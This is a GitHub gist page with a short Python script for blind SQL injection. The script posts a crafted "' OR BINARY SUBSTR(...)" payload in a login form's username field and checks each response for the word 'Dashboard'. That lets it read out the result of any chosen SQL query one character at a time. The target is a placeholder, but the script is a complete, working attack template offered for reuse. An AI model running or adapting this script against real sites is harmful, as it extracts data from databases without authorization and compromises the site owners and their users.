Skip to content

Instantly share code, notes, and snippets.

@ardhptr21
Last active June 24, 2023 17:02
Show Gist options
  • Save ardhptr21/2b643553a84a02015964218049e02ea9 to your computer and use it in GitHub Desktop.
Save ardhptr21/2b643553a84a02015964218049e02ea9 to your computer and use it in GitHub Desktop.
Just for template script for brute force blind sql injection
import requests
import string
import time
possible = "," + string.printable[:-2]
query = input("QUERY: ")
target = "http://example.com"
result = ""
data = {"username": "", "password": "dummy"}
indicator_success = "Dashboard"
i = 1
while True:
for idx, c in enumerate(possible):
print(f"TRY LETTER at {i}: {c}")
payload = f"' OR BINARY SUBSTR( ( {query} ), {i}, 1 ) = '{c}' # "
data["username"] = payload
res = requests.post(
target,
data=data,
allow_redirects=True,
)
if indicator_success in res.text:
result += c
print(f"FOUND LETTER at {i}: {c}")
print(f"CURRENT RESULT: {result}")
time.sleep(1)
break
if idx == len(possible) - 1:
print(f"FINAL RESULT IS: {result}")
exit(0)
i += 1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment